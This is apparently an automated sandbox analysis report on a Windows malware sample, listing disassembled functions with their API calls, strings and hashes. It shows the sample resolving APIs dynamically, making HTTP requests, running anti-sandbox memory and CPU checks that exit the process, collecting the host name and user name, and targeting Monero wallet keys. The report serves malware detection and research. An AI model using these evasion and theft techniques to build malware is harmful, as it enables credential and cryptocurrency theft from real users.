Function 00279C10 Relevance: 231.7, APIs: 112, Strings: 20, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E15530), ref: 00279C2D
GetProcAddress.KERNEL32(74DD0000,00E15410), ref: 00279C45
GetProcAddress.KERNEL32(74DD0000,00E29520), ref: 00279C5E
GetProcAddress.KERNEL32(74DD0000,00E29280), ref: 00279C76
GetProcAddress.KERNEL32(74DD0000,00E29250), ref: 00279C8E
GetProcAddress.KERNEL32(74DD0000,00E29298), ref: 00279CA7
GetProcAddress.KERNEL32(74DD0000,00E1BBA0), ref: 00279CBF
GetProcAddress.KERNEL32(74DD0000,00E2CE38), ref: 00279CD7
GetProcAddress.KERNEL32(74DD0000,00E2D060), ref: 00279CF0
GetProcAddress.KERNEL32(74DD0000,00E2CEB0), ref: 00279D08
GetProcAddress.KERNEL32(74DD0000,00E2D048), ref: 00279D20
GetProcAddress.KERNEL32(74DD0000,00E15570), ref: 00279D39
GetProcAddress.KERNEL32(74DD0000,00E15430), ref: 00279D51
GetProcAddress.KERNEL32(74DD0000,00E155F0), ref: 00279D69
GetProcAddress.KERNEL32(74DD0000,00E15210), ref: 00279D82
GetProcAddress.KERNEL32(74DD0000,00E2CF70), ref: 00279D9A
GetProcAddress.KERNEL32(74DD0000,00E2CF40), ref: 00279DB2
GetProcAddress.KERNEL32(74DD0000,00E1BBC8), ref: 00279DCB
GetProcAddress.KERNEL32(74DD0000,00E15310), ref: 00279DE3
GetProcAddress.KERNEL32(74DD0000,00E2CDD8), ref: 00279DFB
GetProcAddress.KERNEL32(74DD0000,00E2D078), ref: 00279E14
GetProcAddress.KERNEL32(74DD0000,00E2CE98), ref: 00279E2C
GetProcAddress.KERNEL32(74DD0000,00E2CEC8), ref: 00279E44
GetProcAddress.KERNEL32(74DD0000,00E15350), ref: 00279E5D
GetProcAddress.KERNEL32(74DD0000,00E2CEE0), ref: 00279E75
GetProcAddress.KERNEL32(74DD0000,00E2CF88), ref: 00279E8D
GetProcAddress.KERNEL32(74DD0000,00E2CDF0), ref: 00279EA6
GetProcAddress.KERNEL32(74DD0000,00E2CE08), ref: 00279EBE
GetProcAddress.KERNEL32(74DD0000,00E2D000), ref: 00279ED6
GetProcAddress.KERNEL32(74DD0000,00E2CEF8), ref: 00279EEF
GetProcAddress.KERNEL32(74DD0000,00E2CFE8), ref: 00279F07
GetProcAddress.KERNEL32(74DD0000,00E2CF10), ref: 00279F1F
GetProcAddress.KERNEL32(74DD0000,00E2D090), ref: 00279F38
GetProcAddress.KERNEL32(74DD0000,00E2A5B0), ref: 00279F50
GetProcAddress.KERNEL32(74DD0000,00E2CE20), ref: 00279F68
GetProcAddress.KERNEL32(74DD0000,00E2CE50), ref: 00279F81
GetProcAddress.KERNEL32(74DD0000,00E154B0), ref: 00279F99
GetProcAddress.KERNEL32(74DD0000,00E2CE68), ref: 00279FB1
GetProcAddress.KERNEL32(74DD0000,00E15270), ref: 00279FCA
GetProcAddress.KERNEL32(74DD0000,00E2CFB8), ref: 00279FE2
GetProcAddress.KERNEL32(74DD0000,00E2CF58), ref: 00279FFA
GetProcAddress.KERNEL32(74DD0000,00E15330), ref: 0027A013
GetProcAddress.KERNEL32(74DD0000,00E15890), ref: 0027A02B
LoadLibraryA.KERNEL32(00E2CDC0,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A03D
LoadLibraryA.KERNEL32(00E2CE80,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A04E
LoadLibraryA.KERNEL32(00E2CF28,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A060
LoadLibraryA.KERNEL32(00E2D018,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A072
LoadLibraryA.KERNEL32(00E2D030,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A083
LoadLibraryA.KERNEL32(00E2CDA8,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A095
LoadLibraryA.KERNEL32(00E2CFA0,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A0A7
LoadLibraryA.KERNEL32(00E2CFD0,?,00275CA3,00280AEB,?,?,?,?,?,?,?,?,?,?,00280AEA,00280AE3), ref: 0027A0B8
GetProcAddress.KERNEL32(75290000,00E15910), ref: 0027A0DA
GetProcAddress.KERNEL32(75290000,00E2D2A0), ref: 0027A0F2
GetProcAddress.KERNEL32(75290000,00E291E0), ref: 0027A10A
GetProcAddress.KERNEL32(75290000,00E2D378), ref: 0027A123
GetProcAddress.KERNEL32(75290000,00E157F0), ref: 0027A13B
GetProcAddress.KERNEL32(6FC70000,00E1B8D0), ref: 0027A160
GetProcAddress.KERNEL32(6FC70000,00E158D0), ref: 0027A179
GetProcAddress.KERNEL32(6FC70000,00E1B998), ref: 0027A191
GetProcAddress.KERNEL32(6FC70000,00E2D318), ref: 0027A1A9
GetProcAddress.KERNEL32(6FC70000,00E2D2D0), ref: 0027A1C2
GetProcAddress.KERNEL32(6FC70000,00E15870), ref: 0027A1DA
GetProcAddress.KERNEL32(6FC70000,00E158B0), ref: 0027A1F2
GetProcAddress.KERNEL32(6FC70000,00E2D1F8), ref: 0027A20B
GetProcAddress.KERNEL32(752C0000,00E15670), ref: 0027A22C
GetProcAddress.KERNEL32(752C0000,00E158F0), ref: 0027A244
GetProcAddress.KERNEL32(752C0000,00E2D2E8), ref: 0027A25D
GetProcAddress.KERNEL32(752C0000,00E2D0D8), ref: 0027A275
GetProcAddress.KERNEL32(752C0000,00E15930), ref: 0027A28D
GetProcAddress.KERNEL32(74EC0000,00E1B948), ref: 0027A2B3
GetProcAddress.KERNEL32(74EC0000,00E1B678), ref: 0027A2CB
GetProcAddress.KERNEL32(74EC0000,00E2D1E0), ref: 0027A2E3
GetProcAddress.KERNEL32(74EC0000,00E15750), ref: 0027A2FC
GetProcAddress.KERNEL32(74EC0000,00E156F0), ref: 0027A314
GetProcAddress.KERNEL32(74EC0000,00E1B790), ref: 0027A32C
GetProcAddress.KERNEL32(75BD0000,00E2D390), ref: 0027A352
GetProcAddress.KERNEL32(75BD0000,00E15770), ref: 0027A36A
GetProcAddress.KERNEL32(75BD0000,00E291F0), ref: 0027A382
GetProcAddress.KERNEL32(75BD0000,00E2D120), ref: 0027A39B
GetProcAddress.KERNEL32(75BD0000,00E2D300), ref: 0027A3B3
GetProcAddress.KERNEL32(75BD0000,00E15730), ref: 0027A3CB
GetProcAddress.KERNEL32(75BD0000,00E15950), ref: 0027A3E4
GetProcAddress.KERNEL32(75BD0000,00E2D330), ref: 0027A3FC
GetProcAddress.KERNEL32(75BD0000,00E2D348), ref: 0027A414
GetProcAddress.KERNEL32(75A70000,00E15970), ref: 0027A436
GetProcAddress.KERNEL32(75A70000,00E2D360), ref: 0027A44E
GetProcAddress.KERNEL32(75A70000,00E2D210), ref: 0027A466
GetProcAddress.KERNEL32(75A70000,00E2D180), ref: 0027A47F
GetProcAddress.KERNEL32(75A70000,00E2D1B0), ref: 0027A497
GetProcAddress.KERNEL32(75450000,00E15990), ref: 0027A4B8
GetProcAddress.KERNEL32(75450000,00E15690), ref: 0027A4D1
GetProcAddress.KERNEL32(75DA0000,00E15610), ref: 0027A4F2
GetProcAddress.KERNEL32(75DA0000,00E2D0A8), ref: 0027A50A
GetProcAddress.KERNEL32(6F070000,00E15790), ref: 0027A530
GetProcAddress.KERNEL32(6F070000,00E159B0), ref: 0027A548
GetProcAddress.KERNEL32(6F070000,00E15630), ref: 0027A560
GetProcAddress.KERNEL32(6F070000,00E2D198), ref: 0027A579
GetProcAddress.KERNEL32(6F070000,00E15810), ref: 0027A591
GetProcAddress.KERNEL32(6F070000,00E156B0), ref: 0027A5A9
GetProcAddress.KERNEL32(6F070000,00E15830), ref: 0027A5C2
GetProcAddress.KERNEL32(6F070000,00E15650), ref: 0027A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0027A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0027A607
GetProcAddress.KERNEL32(75AF0000,00E2D168), ref: 0027A629
GetProcAddress.KERNEL32(75AF0000,00E29160), ref: 0027A641
GetProcAddress.KERNEL32(75AF0000,00E2D0C0), ref: 0027A659
GetProcAddress.KERNEL32(75AF0000,00E2D240), ref: 0027A672
GetProcAddress.KERNEL32(75D90000,00E15850), ref: 0027A693
GetProcAddress.KERNEL32(6CFD0000,00E2D1C8), ref: 0027A6B4
GetProcAddress.KERNEL32(6CFD0000,00E156D0), ref: 0027A6CD
GetProcAddress.KERNEL32(6CFD0000,00E2D2B8), ref: 0027A6E5
GetProcAddress.KERNEL32(6CFD0000,00E2D0F0), ref: 0027A6FD

Strings

PX, xrefs: 0027A686
0V, xrefs: 0027A553
PS, xrefs: 00279E4F
0S, xrefs: 0027A005
HttpQueryInfoA, xrefs: 0027A5FC
PY, xrefs: 0027A3D6
InternetSetOptionA, xrefs: 0027A5E5
pV, xrefs: 0027A21F
0Y, xrefs: 0027A280
pY, xrefs: 0027A428
0W, xrefs: 0027A3BE
pU, xrefs: 00279D2B
0U, xrefs: 00279C20
PW, xrefs: 0027A2EE
PV, xrefs: 0027A5CD
0X, xrefs: 0027A5B4
pR, xrefs: 00279FBC
pW, xrefs: 0027A35D
pX, xrefs: 0027A1CD
0T, xrefs: 00279D44

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0S$0T$0U$0V$0W$0X$0Y$HttpQueryInfoA$InternetSetOptionA$PS$PV$PW$PX$PY$pR$pU$pV$pW$pX$pY
API String ID: 2238633743-3081426368
Opcode ID: c6add33b8a4cb0953905f2816cef1921e34bb5f6397cc63ec7236071e203faca
Instruction ID: 5404ec51843d8dfa0fecc272476dd734d63b68e83e97b86a8417415ef49ee764
Opcode Fuzzy Hash: c6add33b8a4cb0953905f2816cef1921e34bb5f6397cc63ec7236071e203faca
Instruction Fuzzy Hash: 78625FB9500210AFC395EFA8ED889667FF9F78E701704853EA609C3264D739D865CF1A

Function 00266280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00264839
Part of subcall function 002647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00264849

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

InternetOpenA.WININET(00280DFE,00000001,00000000,00000000,00000000), ref: 002662E1
StrCmpCA.SHLWAPI(?,00E2EA78), ref: 00266303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00266335
HttpOpenRequestA.WININET(00000000,GET,?,00E2DE60,00000000,00000000,00400100,00000000), ref: 00266385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 002663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0026646D
InternetCloseHandle.WININET(00000000), ref: 002664EF
InternetCloseHandle.WININET(00000000), ref: 002664F9
InternetCloseHandle.WININET(00000000), ref: 00266503

Strings

GET, xrefs: 0026637C
ERROR, xrefs: 00266407
x, xrefs: 002662F8
ERROR, xrefs: 002664C9

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$x
API String ID: 3749127164-2392039165
Opcode ID: b0944e53030d94712f020ccf00c3e1e780d5e389d4e2bba2394d40ec2fe21e5a
Instruction ID: b6021b80f466d8cef84b9da64304bd8283c78d468f7a9a184729b964dd537bb9
Opcode Fuzzy Hash: b0944e53030d94712f020ccf00c3e1e780d5e389d4e2bba2394d40ec2fe21e5a
Instruction Fuzzy Hash: 09713275A20218EBDB24DFA0DC49BEEB778FB45700F108198F50A6B1D0DBB46A95CF52

Function 00275510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0027A820: lstrlen.KERNEL32(00264F05,?,?,00264F05,00280DDE), ref: 0027A82B
Part of subcall function 0027A820: lstrcpy.KERNEL32(00280DDE,00000000), ref: 0027A885

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00275644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00275857

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00275228

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 002752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00275318
Part of subcall function 002752C0: lstrlen.KERNEL32(00000000), ref: 0027532F
Part of subcall function 002752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00275364
Part of subcall function 002752C0: lstrlen.KERNEL32(00000000), ref: 00275383
Part of subcall function 002752C0: lstrlen.KERNEL32(00000000), ref: 002753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0027578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00275940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00275A0C
Sleep.KERNEL32(0000EA60), ref: 00275A1B

Strings

ERROR, xrefs: 00275693
pT, xrefs: 00275585, 002755E3
ERROR, xrefs: 002759FE
ERROR, xrefs: 0027577D
ERROR, xrefs: 00275932
ERROR, xrefs: 00275849
ERROR, xrefs: 00275636

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$pT
API String ID: 507064821-2397427275
Opcode ID: 9bbeff0a6c858d9cfe39af0a6b11807c8305a8a4d0c177e5009778b8d03063ce
Instruction ID: 6881da4e1855348e7e60975bde5318d23cb03c0b6fa9a071bb53dfe778a9464b
Opcode Fuzzy Hash: 9bbeff0a6c858d9cfe39af0a6b11807c8305a8a4d0c177e5009778b8d03063ce
Instruction Fuzzy Hash: 78E13E71930104AACB18FBB0DC93AEEB738AB95310F50C528B51B56091EF746A39CF97

Function 002717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 002717C5
ExitProcess.KERNEL32 ref: 002717D1

Strings

block, xrefs: 002717B7

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: e2f8f04bd5576c6f31f213759077f00abf54b6f446c35292362e2b9af7785420
Instruction ID: 9fc18ae148e5a1315efd0d1efe59f7c2f2c1d097aa6f2a11d9c0cd17839f0e47
Opcode Fuzzy Hash: e2f8f04bd5576c6f31f213759077f00abf54b6f446c35292362e2b9af7785420
Instruction Fuzzy Hash: C351A2B4A24209EFDB04EFA4D994ABE77B5FF45304F10C058E50967280D774E976CB62

Function 00277500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00277542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0027757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277603
RtlAllocateHeap.NTDLL(00000000), ref: 0027760A
wsprintfA.USER32 ref: 00277640

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Strings

C, xrefs: 0027754C
\, xrefs: 00277560
(, xrefs: 0027764D, 00277655, 0027761B, 00277623
:, xrefs: 0027755C

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$(
API String ID: 1544550907-2811700069
Opcode ID: 6ff629cacf273bdc27af5762c689d4fe3208ee8c4864328afda24cd06b44ea5b
Instruction ID: 435193f457c8f013c06f05a3c853d7bb5fe5412cb4154c91cb4965234076545e
Opcode Fuzzy Hash: 6ff629cacf273bdc27af5762c689d4fe3208ee8c4864328afda24cd06b44ea5b
Instruction Fuzzy Hash: B141B4B1D14258ABDF10DFA4DC45BEEBBB8EF08700F104098F50967280D778AA54CFA5

Function 002769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22338), ref: 002798A1
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22290), ref: 002798BA
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22278), ref: 002798D2
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22410), ref: 002798EA
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E223E0), ref: 00279903
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E290B0), ref: 0027991B
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E155B0), ref: 00279933
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E15230), ref: 0027994C
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E221A0), ref: 00279964
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22398), ref: 0027997C
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E22158), ref: 00279995
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E222A8), ref: 002799AD
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E152F0), ref: 002799C5
Part of subcall function 00279860: GetProcAddress.KERNEL32(74DD0000,00E221B8), ref: 002799DE

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 002611D0: ExitProcess.KERNEL32 ref: 00261211

Part of subcall function 00261160: GetSystemInfo.KERNEL32(?), ref: 0026116A
Part of subcall function 00261160: ExitProcess.KERNEL32 ref: 0026117E

Part of subcall function 00261110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0026112B
Part of subcall function 00261110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00261132
Part of subcall function 00261110: ExitProcess.KERNEL32 ref: 00261143

Part of subcall function 00261220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0026123E
Part of subcall function 00261220: __aulldiv.LIBCMT ref: 00261258
Part of subcall function 00261220: __aulldiv.LIBCMT ref: 00261266
Part of subcall function 00261220: ExitProcess.KERNEL32 ref: 00261294

Part of subcall function 00276770: GetUserDefaultLangID.KERNEL32 ref: 00276774

Part of subcall function 00261190: ExitProcess.KERNEL32 ref: 002611C6

Part of subcall function 00277850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002611B7), ref: 00277880
Part of subcall function 00277850: RtlAllocateHeap.NTDLL(00000000), ref: 00277887
Part of subcall function 00277850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0027789F

Part of subcall function 002778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277910
Part of subcall function 002778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00277917
Part of subcall function 002778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0027792F

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E29170,?,0028110C,?,00000000,?,00281110,?,00000000,00280AEF), ref: 00276ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00276AE8
CloseHandle.KERNEL32(00000000), ref: 00276AF9
Sleep.KERNEL32(00001770), ref: 00276B04
CloseHandle.KERNEL32(?,00000000,?,00E29170,?,0028110C,?,00000000,?,00281110,?,00000000,00280AEF), ref: 00276B1A
ExitProcess.KERNEL32 ref: 00276B22

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
